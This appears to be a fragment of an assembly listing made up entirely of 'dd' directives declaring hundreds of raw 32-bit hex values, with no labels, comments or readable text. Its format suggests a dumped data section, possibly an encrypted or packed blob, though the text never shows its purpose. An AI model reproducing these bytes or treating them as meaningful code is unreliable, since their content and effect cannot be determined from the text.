		dd 0D0414430h, 8BE950EBh, 52EDE8F0h, 1E213F05h,	0F0A2B690h
		dd 1205D302h, 0CAE9C003h, 89681365h, 156F3A1Bh,	35B8E939h
		dd 2E74490Ch, 20EA680Ah, 0B9466C81h, 0B977500Ah, 4D18A0A0h
		dd 97B9A1FDh, 0E51019E6h, 2009488Eh, 808885F2h,	75361D3Fh
		dd 17F4714h, 470E6334h,	24F7518Eh, 6C68E978h, 0D0168933h
		dd 1D553AB3h, 0F63D0D6Ah, 195C64CEh, 696D54BDh,	7F1A5DF9h
		dd 0ECB18A4Dh, 1C69479Ah, 8F664519h, 1225E92Fh,	67F85361h
		dd 6F1C8FD8h, 652A2902h, 22961CC3h, 24D258F2h, 0E20AF825h
		dd 0E80F1878h, 9F51FE43h, 0CD706E54h, 40226C09h, 3E985FCh
		dd 45C44082h, 0FC304BFCh, 50C142E2h, 91BFF0FEh,	546ABE73h
		dd 9CCF1A6Eh, 0E59E2294h, 0AC9FC770h, 41FE8A3Eh, 9F76401h
		dd 96CBAA1h, 0DFE326AFh, 87C7274Eh, 854ED620h, 0D442C8D2h
		dd 0CC1DD0A5h, 4015CAF3h, 0E74AEBE2h, 8009B0A6h, 142120C3h
		dd 6ABD8D40h, 3B2E63ACh, 9C7D1BA5h, 3162CFE3h, 2306F03Eh
		dd 7985D1E9h, 978098Eh,	0E82F2087h, 6A893055h, 0B969CBDh
		dd 1395195h, 0B9C22FF4h, 2CD97F32h, 0D429EB8Ah,	0D9745A0Fh
		dd 0C5D4090Ah, 22FADF48h, 0E108E92Ah, 0F9ED8F2h, 3B88590Ah
		dd 59ADFA7h, 7E094813h,	0DFE7E9F8h, 0B3E86030h,	0C103044Ch
		dd 488B3374h, 5C0AD8EAh, 8141DF2Ch, 700F17F4h, 0E8D125BFh
		dd 0F4152871h, 0B5E9C6E7h, 0F92BB065h, 3DBFFA49h, 0A11FA3B1h
		dd 640A2268h, 0F886509Ch, 9081B045h, 0E4674F15h, 958CF0EDh
		dd 83CCA160h, 8908C014h, 0BCF03609h, 0B84D3B98h, 1EFC4019h
		dd 0AC925BCh, 0DEFD77D2h, 0EA955F50h, 0FC838595h, 5E814CE0h
		dd 74904FE6h, 4890ED17h, 64254336h, 594AB442h, 8512055Eh
		dd 0AC172CF6h, 1257A686h, 560D752Dh, 542A1F3Bh,	6294E1B9h
		dd 9FE85705h, 0FC5DF4DBh, 691A848Ah, 65261785h,	9E054012h
		dd 1427AF8Ah, 51741607h, 0FDC68127h, 2995F969h,	924D24B1h
		dd 46DC934h, 4427D4C8h,	0A3E43CEBh, 0FEB448E9h,	0BA3268B2h
		dd 17D055F7h, 0C4C2BE1h, 54E94EF1h, 70F0378Fh, 73EA908h
		dd 154E1315h, 10227CBCh, 8A5D7419h, 0EAF0C628h,	51042530h
		dd 3ECA6B5Fh, 0EBB88802h, 902248A9h, 0C33B8A08h, 35EB0284h
		dd 541B988Ch, 90203E03h, 66092E9Ah, 3EC1DA0h, 5EB0889h
		dd 0F60E116Ah, 223E9E1h, 40326B63h, 6AA90A7Bh, 0C746082h
		dd 35ED3BA6h, 41EB5914h, 2174193Eh, 4B33400Dh, 0C8E80C0Ah
		dd 0FBC2818h, 25EB99C0h, 9F0CBC8Ah, 0F2AB3DB7h,	0E8088521h
		dd 0E03949A7h, 0A083B08h, 0A1AD233h, 4E41B74h, 0A07C177Fh
		dd 115B73B1h, 5B38B01Fh, 13DADF09h, 0EBFAC06Ah,	0C18DA04h
		dd 3757800h, 22E1E783h,	94973B3h, 5638DAFEh, 8BF70080h
		dd 75C70BC6h, 0A5E415C9h, 6CBCB76Bh, 185F1696h,	67F9662h
		dd 0EF0C1AA2h, 9906F420h, 56575052h, 0AC05C36h,	5DE8C405h
		dd 755EAFEFh, 0C3CE8B18h, 0C010CC30h, 0CB6FE830h, 39FBA525h
		dd 37E6807h, 37D45D13h,	3082F862h, 0B5EB1888h, 1B2BA3CDh
		dd 958006A2h, 3FB04D52h, 80328B60h, 0AA753039h,	300B43AAh
		dd 0C621404Bh, 37D03001h, 63D82D99h, 16A2BDE6h,	0C3F6FC0Ah
		dd 53261DD3h, 43C285C7h, 14EB2D8Bh, 3D0B2042h, 7B09A02Bh
		dd 200B4402h, 1459F92h,	73E09220h, 699F52Bh, 310C32F4h
		dd 3856779h, 0E8206A56h, 173D5B17h, 0CD69EC88h,	0F96E2BEAh
		dd 16322950h, 3FD65A34h, 3204520Ah, 0E5E830C3h,	89B83584h
		dd 20C418Dh, 0FC927E8Ch
		dd 8DF88F00h, 0DE90FF78h, 91430333h, 0E865A7C8h, 1BF9B312h
		dd 0AB8D3287h, 29216AD5h, 3EC88818h, 4FC78B41h,	0EBD0DC50h
		dd 9D59A615h, 0E82110D5h, 0A81EA4BAh, 0AD7404ADh, 367114A6h
		dd 0B30C7DC4h, 5106AFAh, 0E4F91309h, 4178BE96h,	0C0417EEBh
		dd 8C87DC1h, 192899DCh,	6709915Fh, 2F209C22h, 8094B47Fh
		dd 49FF0C4Dh, 0E7A7804h, 618A1127h, 0DCF2028Bh,	143124C4h
		dd 0E88F990Bh, 0DFFAF7CBh, 9FF88333h, 0C505FB10h, 0C35D8D07h
		dd 7D081ABEh, 0AA86D746h, 0CA217E25h, 0A0D3DDD5h, 0ACE81404h
		dd 36EA37EFh, 7541C3Eh,	76BC7F21h, 0C8827AFh, 724BEDFEh
		dd 7B266599h, 106D971Ch, 57062203h, 0A16D7D46h,	374C75FDh
		dd 50D9843Fh, 5B02E26Fh, 838C1177h, 177E9FC3h, 0CB0D5350h
		dd 416D4108h, 52516430h, 668A1DFCh, 576A251Eh, 0A49C2470h
		dd 7AF98109h, 0C772F6Ch, 0B707B7ECh, 52EB4104h,	0C4EEC8C4h
		dd 0C10F040Ch, 8FDEE8F9h, 8001E244h, 0ED82D75Eh, 0A0C2FE65h
		dd 0A3605E62h, 24F6AFDh, 3D788197h, 438ABDFEh, 0C0A1A99h
		dd 0A79D81FAh, 184CFC83h, 883E5BE8h, 79971C0Fh,	45A8B03Ch
		dd 0CE6230Ah, 0F7ED12D3h, 0C03D3BC0h, 0D6C446A8h, 51C88683h
		dd 0B4F7E4C7h, 1FE68201h, 0EF1B1C8Dh, 0FD8603A4h, 9012B0E4h
		dd 0B1695C84h, 0A64EC417h, 0C53C2DA4h, 0FA1618B5h, 2FD9ADE8h
		dd 0CBE38BCEh, 59130CA4h, 1C40C53Bh, 0BE9858C8h, 0F136FB5Ah
		dd 8F599FF4h, 0A3F0E844h, 223CDCEDh, 8059B2C3h,	3CB46564h
		dd 5541C0EDh, 3F6979E8h, 0F83A0961h, 83141215h,	0C227E525h
		dd 991F7F1h, 5F7FE292h,	3FB89C25h, 0FD701DCBh, 76FF1917h
		dd 81B81257h, 8681661Ch, 76FBF70Ch, 689591Ch, 608468Ch
		dd 6CE59D04h, 1C097508h, 25DE2291h, 9925235Ch, 0A1B00549h
		dd 0D46F620h, 0F4B69B0h, 0AB2A33D2h, 463A0C8Dh,	0FBC05E1Bh
		dd 3C53174Ah, 56A80C17h, 73E0D56Bh, 802803E1h, 370AE8F9h
		dd 0F308A966h, 4ED83116h, 0AFF4C85h, 3C505714h,	4EF61525h
		dd 0DE85D769h, 8799250Eh, 0FD2472E1h, 796A1DEh,	0CB43FA97h
		dd 50635AFFh, 0F35B99C2h, 748E55B2h, 0CBD25958h, 0FD4B16FFh
		dd 0F6EC4AEFh, 646A710h, 9780A14Dh, 48B120Eh, 7C7EAB0h
		dd 10AA4874h, 3039E46Eh, 109AACDh, 63840F75h, 7920252Eh
		dd 51EB431Dh, 75C0161Ah, 244CD13h, 4736BCDAh, 0EC0BDC50h
		dd 4D3B5446h, 39B3557Ch, 0EE74E296h, 387465D5h,	48EDAE21h
		dd 772F0226h, 5C57411Ah, 980B97BDh, 3C9A6345h, 5405FF0Dh
		dd 302F8096h, 835275BFh, 0EC853C12h, 84BB8925h,	0AB0A24DFh
		dd 0EF4B19BDh, 0D5BEC304h, 2842F2FFh, 8D138707h, 3141446h
		dd 58068676h, 7C18490Ch, 8B0DEB07h, 145ED63Fh, 3E267E66h
		dd 9C21FF10h, 11020941h, 0AD70B9AFh, 9C8A5FA6h,	74561081h
		dd 54652222h, 3EF51084h, 0FE890E06h, 66803EA0h,	132BEE24h
		dd 22A1AF18h, 24080E92h, 1A3DADB2h, 0F54540F6h,	0FE675782h
		dd 5214F429h, 555C1061h, 2736B2A8h, 0B90FDDBh, 3C0E078Ah
		dd 891A7461h, 16D20F72h, 122F781h, 0B0A4B903h, 0A7BDEBA0h
		dd 0EFEECE05h, 2709CD08h, 0E66014AFh, 477B8A5Ah, 0C34E3AE4h
		dd 3B8E88EEh, 7337D35Fh, 40C0BEE2h, 0CE7F5445h,	0E8E7607Eh
		dd 0A45562Bh, 3640197Ah, 66C9980Eh, 41AC9A48h, 0FEC4396Bh
		dd 297C6B17h, 20C983C0h, 15B754EBh, 10048D8Eh, 9780A2EBh
		dd 0DD7D7540h, 98207D14h, 734C3790h, 4EFE2C3Fh,	0D920FC1Bh
		dd 383DCE81h, 0B882EB09h, 0C840C0FCh, 0E80B5975h, 0BC7248E9h
		dd 7462E882h, 2E40F6D0h, 816DBC0Bh, 0F6407506h,	3B2F60C5h
		dd 13CD803Ch, 37EE53E9h, 0AE2ED4C6h, 7F81C798h,	24BF62E6h
		dd 17993CE9h, 0CE380A17h, 0E90C4031h, 772FB525h, 0D2332D07h
		dd 0DC1919C6h, 0BBC4A784h, 0DDA46825h, 15E46492h, 76ED965Fh
		dd 64DEC82Fh, 127DCB89h, 0AB61F5FDh, 0EF52614h,	670C7089h
		dd 18660458h, 608670Ah,	0EC48E41Ch, 158BC4FBh, 2B6551C9h
		dd 202BB531h, 7E57D5FAh, 1D8B5D13h, 0C3FBAB33h,	74CDF80Fh
		dd 41F62E15h, 0A173BFAh, 0F843B140h, 0EC077CC2h, 348B3FEBh
		dd 0A024AEFEh, 0C1206AF8h, 0DE0264E7h, 84B695D3h, 893002CCh
		dd 0E36C0F04h, 3B073C02h, 0E31874FDh, 0A0F5B268h, 0FF104EF0h
		dd 0EC6E6E89h, 0EEB6F87Bh, 1C0A2E65h, 94DF3EAh,	0D194F8A1h
		dd 0A20F13EAh, 0B4D02675h, 4447F34Eh, 0BC9833C3h, 97EA9FF0h
		dd 0BDA4FAF7h, 64C87362h, 4F841174h, 5D2D4A3h, 8D17E891h
		dd 3E3731E7h, 2D70E372h, 683F0271h, 0A7A2D657h,	71313EEDh
		dd 7501AAFCh, 25993001h, 1913F46Eh, 8D09F80Eh, 11F0A35Eh
		dd 0FDE88560h, 7C2C1002h, 8D19A0A1h, 5480780Ch,	168808FCh
		dd 0F473C13Bh, 2B3E0409h, 0FA811C50h, 0C0724B32h, 3414C0F6h
		dd 0EFDAE8EBh, 0D679DF77h, 47081399h, 0B11041AFh, 93712BF2h
		dd 0A0E5A1Ah, 0C15761C2h, 0CEFD0FEEh, 69F07AF1h, 0C869BFC9h
		dd 44016A4Bh, 44018C8Dh, 3EDBED6Bh, 0E982CAF4h,	0F6DCCB0Ch
		dd 7FE2A112h, 0F640F9DDh, 0D65F493Fh, 0CF610318h, 52620376h
		dd 43134C84h, 8080D68h,	40B24875h, 7320F978h, 73901C4Fh
		dd 0EFD380h, 4014C8Dh, 7C21D7F7h, 0FE44B003h, 7B2B7509h
		dd 873948EDh, 0E0C1830Ah, 0C5D6D1Fh, 0B036BC22h, 424B27C4h
		dd 4791B06h, 7CA6BFA5h,	0B8955ACh, 3EB2FFEh, 0AADD522Fh
		dd 0C1E4A08Dh, 4F041DFFh, 0F83F1A83h, 605F8706h, 52E1BE81h
		dd 765FEC98h, 552B43EFh, 0A28625FEh, 0F817897Bh, 37C65A49h
		dd 5763ECAh, 66EBF455h,	83FB3884h, 0FA3B3F80h, 7487765Ch
		dd 6B74C0A0h, 0FC845ED2h, 0BEE9BF1Ch, 0EA32BAE4h, 4321D218h
		dd 68118854h, 53BE681Fh, 0BE94442Bh, 53105164h,	0A149C040h
		dd 0C494ABFh, 68F00FE6h, 77259224h, 2E0927C9h, 65FA8713h
		dd 0B35914DFh, 202AF92Bh, 364FDF0Ch, 0B3F31E61h, 33B0C85h
		dd 8A63751Eh, 0FD074Ch,	4D8820F0h, 0C175FE0Fh, 257319C1h
		dd 14EF7D80h, 89BB0E8Eh, 0D3CF8B81h, 9EF8AEBh, 8DE20E19h
		dd 0EEB28F44h, 2529EA18h, 4F8A109Fh, 26A11AE0h,	2004590Dh
		dd 537A7F4Ah, 909B884h,	55208B38h, 1A89F045h, 13135CE4h
		dd 0CEBFFFCh, 0A12DFAF2h, 273D7799h, 0F7C47DC0h, 0EC6E2D98h
		dd 783DC41Dh, 0E1C19BD0h, 48031A0Fh, 39C9A60Ch,	2CE36268h
		dd 0D714C353h, 57339120h, 50090A1Dh, 3AA10F08h,	0D84D4A7h
		dd 19DA88A4h, 0FE218558h, 0B274348h, 7980678Fh,	831420B9h
		dd 0ABFE0460h, 0D078CA12h, 0D46C5BA3h, 0B6FDC60Eh, 142D138Bh
		dd 69887310h, 7C2F51Ah,	424F346h, 0CC289380h, 2B29C854h
		dd 119320EFh, 9D51EC3Ah, 52D1448h, 0B6A4D603h, 6325BD08h
		dd 3B30050Dh, 16231205h, 0AD01336h, 1D3B0D04h, 434DAC89h
		dd 4B2803EBh, 892A1BA3h, 9CB7AD35h, 671452C4h, 0D3301AD3h
		dd 825B7350h, 0C49360CDh, 0F0770817h, 266BCD39h, 7D8F3549h
		dd 0FFCEE10Eh, 0D42FEED3h, 132CBC44h, 275210EBh, 0F60DCCF9h
		dd 6C1FE8D3h, 6AA128C3h, 4C8FD09Fh, 80F80DFh, 4B291973h
		dd 236DE20Fh, 0BFECC58h, 64E0CF5Fh, 0A8144BC3h,	7233635Ch
		dd 751107E7h, 0F5DA8B79h, 152708D8h, 0EB1105D9h, 0B134BCE6h
		dd 11734B59h, 0E1087BF8h, 0C5299EEFh, 8EDEB55h,	0D512638h
		dd 30481C54h, 0E80E85EEh, 0F8D19638h, 1FDB8522h, 0D9531474h
		dd 9F591FDAh, 1DD10B8h,	17A94354h, 25A2FF38h, 892B0F31h
		dd 0B9A64D1Dh, 0FA2EE42Ah
		dd 0FC3791E8h, 908CD25Ch, 8198B744h, 89A544EEh,	1369371Fh
		dd 55247019h, 0FEDE1304h, 0E8483A23h, 0DF8BD60Bh, 52179D18h
		dd 2F22B591h, 0A23BAAC6h, 0FEC00705h, 0D70B3980h, 0B2E97874h
		dd 33CA1798h, 8A5D65FFh, 774D2659h, 0CEB14C18h,	670D5375h
		dd 0CB206A18h, 0C900855Fh, 0E1D1057Ch, 63F7EB47h, 0F954438Bh
		dd 2B0A8817h, 0A3F1804Bh, 0E9FEC17Ch, 3FD0834Eh, 13F9B27Eh
		dd 4F73B5Eh, 53010D9Ch,	0C8612562h, 0B12B7D21h,	0EADEE912h
		dd 9D1E3816h, 0EC07F4A8h, 44885C23h, 26FE097Ch,	0A7EB750Fh
		dd 21ECB640h, 31EB0B16h, 2C141869h, 0A2369612h,	19213666h
		dd 99A26F54h, 86892D1Ah, 260B2308h, 0E07A9EC1h,	96B9F870h
		dd 0AEBEB026h, 7CA79108h, 43AA68F6h, 8628F17Ch,	46D3A60Ch
		dd 6420C32Fh, 88FE0640h, 29587D0Bh, 779A4CC5h, 2569EFE1h
		dd 8B8B98C6h, 2B8DB0CEh, 0A20B3B09h, 0A07CFC90h, 0A52FEBAFh
		dd 8D0D8529h, 1FB78A4Eh, 0B2E97B09h, 0D9AEBC14h, 0EE0CBE2Fh
		dd 6B37092Eh, 899448AFh, 460E50Ah, 0C8B3AAFCh, 0EEF0757Ah
		dd 146CAD1h, 0FC320913h, 0E6CA02Eh, 79678D44h, 1AB13E20h
		dd 0F3321D3Bh, 99126F78h, 84A53476h, 606CA607h,	8D088925h
		dd 9045842h, 0D0361D3h,	88FF14E8h, 752EC17Fh, 890B6030h
		dd 0DE732950h, 2DFC1975h, 0B53D7E57h, 4401F16Bh, 4A9DA389h
		dd 3E34C124h, 0C4680B02h, 4CE14B41h, 314246B0h,	81342579h
		dd 683FEC9Bh, 74100989h, 0A741F72Ah, 6C547220h,	5315A976h
		dd 0C121A7Ch, 2C3DF975h, 70D2FD57h, 5C7D9822h, 74F254Eh
		dd 65047ECAh, 84635A05h, 0DBB54CF8h, 0C851929Fh, 71FE57E0h
		dd 4179C998h, 0C6DB332Eh, 0E0885024h, 0FC39343h, 22B36938h
		dd 0FCE15A82h, 4E833330h, 6440D9B0h, 0E8040608h, 1F4A2471h
		dd 1786FB94h, 0E00BE7C1h, 37057579h, 808C2310h,	0BD7B2984h
		dd 11938971h, 70C19775h, 77FA3B00h, 47653C7Ah, 0F38748F0h
		dd 5DEC8842h, 76F74A4Bh, 0C73B0FFCh, 0ABF02240h, 0C71E4A43h
		dd 4488088h, 0E86880C7h, 5141523h, 7B2D4C57h, 0C7E0E09Dh
		dd 5F8D28Bh, 0A5050C84h, 771B7A2Eh, 0AD039D4Fh,	760C4A8Dh
		dd 90018212h, 9D449E64h, 0E464BC86h, 43468A41h,	0C30C8CDh
		dd 7BC05D84h, 14E881Fh,	78090375h, 81672804h, 0EAD3CB8Bh
		dd 501E7F2Ch, 39C35708h, 65DD2DB5h, 0BFA81052h,	8DD700DFh
		dd 512B1770h, 0A84110CAh, 0AC05E617h, 85840FEAh, 4FC183CAh
		dd 653B49FCh, 5C2C415Dh, 1E896A39h, 0F0DB868h, 2B3B5F8Eh
		dd 854CE41Eh, 5F03134Fh, 2D06F8D9h, 0E789DD8Fh,	0F1B25C66h
		dd 128E3F59h, 4F0C0676h, 4C8B1159h, 8173E45Fh, 2C3C3948h
		dd 0F859541Fh, 4931D38h, 0E2905C4Dh, 6819883Fh,	909CF822h
		dd 59793F9Ch, 0A7B64F03h, 96098951h, 65267F06h,	2B100D30h
		dd 6BF801CEh, 9C0EA1D4h, 8B3610AAh, 0C4E2A14h, 318ACA59h
		dd 430D79EEh, 1CFAF45Dh, 0CC81E370h, 1240565Bh,	0E3800CDAh
		dd 0C186F46h, 1E3B3131h, 4F385C75h, 213913A2h, 9056B807h
		dd 0B0B982E6h, 9CEBCF66h, 8B131370h, 0BA84CA4Bh, 13392E6Dh
		dd 0A21009C5h, 78FC325Dh, 6143CA32h, 87620174h,	46EF246Fh
		dd 22429B3Fh, 0E9F82A09h, 86452B47h, 1A0F436Eh,	0D3A8D0Fh
		dd 291A72F4h, 4BA469B5h, 335C6E8Bh, 35B4A528h, 9DE98926h
		dd 0D8E98323h, 0A5F15E92h, 0D1198B57h, 644A3D5Dh, 22195505h
		dd 0B2E3B24h, 5BA14775h, 77BB1E73h, 8DEB0441h, 7A8A0674h
		dd 28750E08h, 4E8DC4CFh, 64CE829h, 52DB7791h, 77207AEEh
		dd 83797143h, 378F10CCh, 0C9DE603h, 0EE58760Fh,	4B047BE2h
		dd 97B47B1Bh, 3B0D9C71h, 58621ED4h, 0B1E2B4EEh,	2762186Ah
		dd 0E3C7B11Ah, 394840A8h, 11CEE262h, 0B64E080Fh, 44245B1Ch
		dd 4E596279h, 0C0B05B0Fh, 274C9003h, 0C57DFC18h, 0EEE0ADC2h
		dd 40C44386h, 2BA2975h,	0C45DD71h, 1AA313F5h, 0FEED90Ah
		dd 72770F32h, 85E82D1Ch, 5DFA07C4h, 1ACC34Bh, 21CCDC4Ah
		dd 0E871138Bh, 9C79F1DCh, 0FB6D595Dh, 2A581A8Fh, 183F415Fh
		dd 0E8167406h, 59AD0336h, 0E82722CDh, 0FE27E065h, 97B6F150h
		dd 0D24EA820h, 38EEB2EEh, 1826505Dh, 5EF31A0h, 5996318Ah
		dd 708C2CFDh, 0DD9D2874h, 479B3C82h, 780C3110h,	0F20904EBh
		dd 6816CF8Ch, 0FEC779CFh, 6B37A2E9h, 983244F5h,	6AEB0818h
		dd 2640A418h, 0B2232CDDh, 0D38B5715h, 5B13352Ch, 8A0C0EC5h
		dd 0C1F62581h, 9F0D74CCh, 8FF668E4h, 2509C080h,	90C40458h
		dd 93451284h, 0FD30AD61h, 12CB5684h, 4B379123h,	198E5148h
		dd 85267EEFh, 3F9E9011h, 1E3CF25Bh, 3035026Ah, 0D1F77280h
		dd 83CB0023h, 0E1C1EFE2h, 0CA5D0B04h, 68441BCh,	35CD2A2Dh
		dd 9EDF2683h, 30A1F936h, 0E98DEE17h, 0FB2E9133h, 3E9C1F0h
		dd 42CF2320h, 8505B2FDh, 1745FE60h, 0EFB825E8h,	74C38405h
		dd 83E94007h, 0A8100C49h, 7F0B0456h, 7B14DAF7h,	6FBA104h
		dd 0F47B3533h, 4515C820h, 78B05814h, 81FFB970h,	74C12378h
		dd 4BC23D34h, 221FBB61h, 0C4B080Eh, 4728C70Ch, 0B503FA83h
		dd 0D53DB9D9h, 0CFD89FB6h, 0D00C0A14h, 62CB2D8Fh, 84450F38h
		dd 322FC20h, 20AE41Bh, 2022643Eh, 47EBE320h, 9FE73E1Ah
		dd 0B5404C9h, 0F160DE0Dh, 250D80A0h, 6C50144Dh,	0C3F20F41h
		dd 0D905C340h, 6F611FE2h, 1BD388FAh, 79899EA0h,	5E34DB48h
		dd 0E618F4E3h, 0E1DD181Dh, 589527BAh, 50211F10h, 0EE5843BBh
		dd 6FC844Ah, 3E07DD11h,	23E84017h, 1A8B6AB5h, 4CDC5350h
		dd 11841560h, 0F63AA042h, 420E740h, 26831B03h, 22EC13FEh
		dd 220424FBh, 200224F7h, 0A95884EFh, 0A741DF1Ah, 0E46AFFBAh
		dd 1ACBE109h, 0B0117DE9h, 0B0090316h, 0B8801E75h, 0EB0C1289h
		dd 0F891E18h, 0CD67FBE5h, 0A54AE08h, 0DD98F720h, 2102F0F1h
		dd 766C166Bh, 7E18A33h,	78131034h, 2A1662CCh, 4A1263EBh
		dd 483CCA23h, 907A902h,	0DD5A0318h, 1FCDE340h, 0D2F0E26Bh
		dd 57533921h, 0E7E8F8E9h, 0A0B2981Fh, 14745BB4h, 0AB5D8414h
		dd 0E8530F05h, 626BE98Bh, 0F4E9F72Ch, 5CD8AAFBh, 1037EA16h
		dd 0A26A370Ch, 1A9071E8h, 0B044E9FBh, 19049D84h, 783D5AD2h
		dd 7FC84571h, 0A14FB5A0h, 0E022B822h, 231F054Ah, 93B2BEC8h
		dd 86F98110h, 0A6105874h, 3B2831E9h, 2B908530h,	4DDFA8Ch
		dd 0B01DDC01h, 822A8717h, 0F47805h, 1DEB782Fh, 7ED90277h
		dd 1CF45D96h, 6EEBCA5Ch, 35195B20h, 684A0876h, 24C5EB13h
		dd 4628722Dh, 0C8781117h, 4F1ED168h, 53682170h,	0DA8519B2h
		dd 78B4EBFEh, 0B80250A8h, 0E3DAACCEh, 5C29C402h, 0A6CB24CDh
		dd 9BF31C66h, 24858645h, 46717630h, 25A78F45h, 3DC645EAh
		dd 247E813h, 0C1F63AAh,	48D5924h, 0D610FA12h, 0FBCE18FDh
		dd 0B8097D0Ch, 2B8CD866h, 43A754EBh, 39097317h,	9EFF8D3h
		dd 0FA458AD2h, 4E269C54h, 86215E27h, 60FC03B8h,	1F7D2BA0h
		dd 84C12B1Ah, 7C3E6260h, 3D8122A3h, 1CE76DD1h, 5CF0EBF8h
		dd 18DE0290h, 0E3754845h, 9968B8E9h, 0A21052C7h, 55D9EB18h
		dd 328B5E60h, 1ED1106Ah, 0FD51DBA0h, 118A24CEh,	8A61D4AAh
		dd 530A6E0Bh, 0EF4417A5h, 0FF9602BBh, 1E745B5Fh, 0A5245B27h
		dd 0A070EB72h, 364C4C95h, 642A74E4h, 0E8A2565Fh, 119A1422h
		dd 1037D99Fh, 681C12F0h, 0FD280D8Ch, 0B7207543h, 16E8E095h
		dd 0FC0C248Ch, 2411DB8h, 12B8F23Bh, 0A49D3C09h,	246FC32Ah
		dd 27A35084h, 8C3F70F8h
		dd 0FBE8273Ch, 39907364h, 324323E5h, 0D6C95920h, 857F6BF3h
		dd 21FF1287h, 6E157F52h, 0C32511CBh, 33F61E96h,	90B8C905h
		dd 0C694437Fh, 748691BEh, 122D6C0Eh, 0D5213D41h, 903FED7Ch
		dd 94CD0486h, 8A1A3BDEh, 0F07BCB97h, 5DEB056Ah,	10679816h
		dd 8F0E8701h, 3C194CD1h, 11C27C06h, 0DEC35803h,	39752809h
		dd 0CDCFD102h, 8850033h, 0E6BFFCD9h, 3AF59D7Fh,	4DFD6067h
		dd 531C40Eh, 6B56AAFEh,	800F3D06h, 0E0C10E41h, 4A920B04h
		dd 0CA29FEA8h, 7D8109BEh, 7FF0F8A2h, 0BA3F4B5Eh, 0D716B208h
		dd 0FF12913Ch, 2A750319h, 5FB89527h, 1C841B89h,	27DC8666h
		dd 1766ECB0h, 246BF9A4h, 28B9F713h, 0C6074A15h,	74755924h
		dd 58276EB0h, 0A5C1635Dh, 2C26952Dh, 0A82D5626h, 904490A0h
		dd 0E9838990h, 0C24D52Ah, 0E746607h, 646583C8h,	54D220Fh
		dd 0BE337257h, 6FC94864h, 1BB97D73h, 105E98F6h,	6265D1DEh
		dd 800B120Ch, 60830341h, 1AC10116h, 0E7EB4E08h,	0E728947h
		dd 914EF8EFh, 0C9E4225Eh, 0CEB05182h, 82DAFEF6h, 0EB9CA2DFh
		dd 44169427h, 96D28BE0h, 0E1FE435h, 256604C5h, 0BF0FBE00h
		dd 91EE81F0h, 0A8342A26h, 49308918h, 9B8F445Eh,	38FE7DA6h
		dd 0E132CA2h, 0E2DB1B14h, 85AAA40Fh, 8D5EFE98h,	6B23C889h
		dd 0EA4DAB69h, 0A588550Bh, 0F76D1CE4h, 32CEC847h, 804E3FE8h
		dd 0DB0A74EAh, 0E3902D24h, 275D3FBBh, 100D279Bh, 1221D86Ah
		dd 0A5F98322h, 496CAC1Bh, 9612A69Ch, 0B971A644h, 0F1DEE80Fh
		dd 281DD8EDh, 0EB517E84h, 6C812519h, 0D8525E42h, 9DE87F04h
		dd 0C613B1AAh, 185CFE6Ch, 1FC02E19h, 2A002F49h,	0F09409B8h
		dd 0DC3F73C8h, 4D66F375h, 0FE186D06h, 0E41EDCE8h, 16700B58h
		dd 53936BB2h, 9A539851h, 5D5DE4A1h, 59703A9Ah, 1FCEFFF1h
		dd 0C470059Fh, 0C1501026h, 0E9C3D038h, 25AD799h, 137A62C9h
		dd 6D1C0514h, 290B9D2h,	2C745965h, 9496F546h, 62FA32D4h
		dd 9E61536h, 0F2063FEh,	0CE51F995h, 0D4751E90h,	57800D8Dh
		dd 0E4EC17Bh, 5E9FEF46h, 0CC1DBFFh, 0F7C1EBCCh,	37635EF3h
		dd 1E15557Fh, 0CF0902Fh, 0E3E9CA3Ah, 400148D0h,	24F43DCDh
		dd 2AAA0FBFh, 0F982C619h, 0AC93465h, 92EB5445h,	48770FEDh
		dd 0B7303867h, 148749FAh, 118AA101h, 39E02B40h,	0F616CA88h
		dd 2CEBAC4Eh, 6A7259A2h, 8F355575h, 816D52BBh, 7E1B74E6h
		dd 1F1201EDh, 0F1F1243Dh, 123F78A5h, 0AAB40889h, 12044848h
		dd 31BFC85Fh, 413F1BA5h, 0D680CD4Ch, 0C582A826h, 0CF02774h
		dd 0F4FC4BA1h, 70B5C9DDh, 0FDB06B7h, 1451C19Fh,	2D388317h
		dd 3538D1Eh, 0E80B011Fh, 82A392E7h, 648B3806h, 448C8274h
		dd 50855175h, 565E6CB2h, 4314C3F2h, 1B925001h, 0B6633E83h
		dd 3418872h, 0DCCAE4D0h, 66766E72h, 0F9D33514h,	1EC6650Eh
		dd 7E3C4018h, 1D0D9214h, 9788D57h, 44320888h, 1636F2DCh
		dd 0F0682A70h, 0D3829E2h, 72792095h, 82CB62C8h,	9B48BB3Fh
		dd 0FDD4147Dh, 0C626501Fh, 4145012Fh, 272241B2h, 5E803C3Ch
		dd 5794B04h, 28C9DBF7h,	0FB92002Dh, 95117C64h, 99C1C08Eh
		dd 0C1FEF75Eh, 6F14BC01h, 2FDAEC0Eh, 1BED860Ah,	8D55986Fh
		dd 17E544Bh, 0C6D0BFA5h, 90575610h, 4A13596h, 3A3CF821h
		dd 0E35241Ch, 72047F49h, 3E089247h, 0CD8F031Ah,	0C102B58Bh
		dd 61608030h, 7DDAEBAAh, 500BC02Ah, 798B3C7Ah, 20C916Ah
		dd 0C3030446h, 0A4BD0B45h, 0E60978C5h, 402163Bh, 0C60775FDh
		dd 7D8D0345h, 824F5F01h, 0C9401073h, 0E8BDE857h, 3AC659B5h
		dd 472E3007h, 0F8030912h, 8411D25h, 0A0927616h,	0FF591B22h
		dd 4A7CC0Fh, 0F6857047h, 0AFAE287Dh, 0F70C15B0h, 806EBDEh
		dd 3D7CEC3Bh, 53328B02h, 0E62E495Ah, 2712306Ah,	515CB382h
		dd 9C32D749h, 0F8904655h, 10B3917Dh, 8BD28A07h,	92D8A394h
		dd 492595BCh, 490DFE49h, 50E94CEFh, 80EB5349h, 0E856F18Bh
		dd 0A14FC834h, 2A02974Dh, 0F27A039h, 0F288C19Ch, 0AB13D208h
		dd 248CF0Bh, 82A3FC2Dh,	40217C15h, 9A1D7D23h, 70A58CAh
		dd 1460EF7Eh, 252076F9h, 25D553FEh, 98EA41D3h, 1CCA1047h
		dd 8441214h, 0F7791032h, 2900722Fh, 2FCE05C6h, 67641373h
		dd 36258045h, 278157E6h, 8B7B0E0Ch, 0FE48E8F8h,	0DBBF23A5h
		dd 102CA1A3h, 0D321A46h, 862C4761h, 1375660Dh, 0C77B95E9h
		dd 8093FDAFh, 1852E57Dh, 8AE28816h, 781311EBh, 29A1FCEDh
		dd 0B9BF0410h, 0D685323Eh, 4A52FE1Ah, 0B9AE0C0Eh, 507D4032h
		dd 16F70331h, 2451C143h, 0F63A5F5Eh, 57180067h,	930520BFh
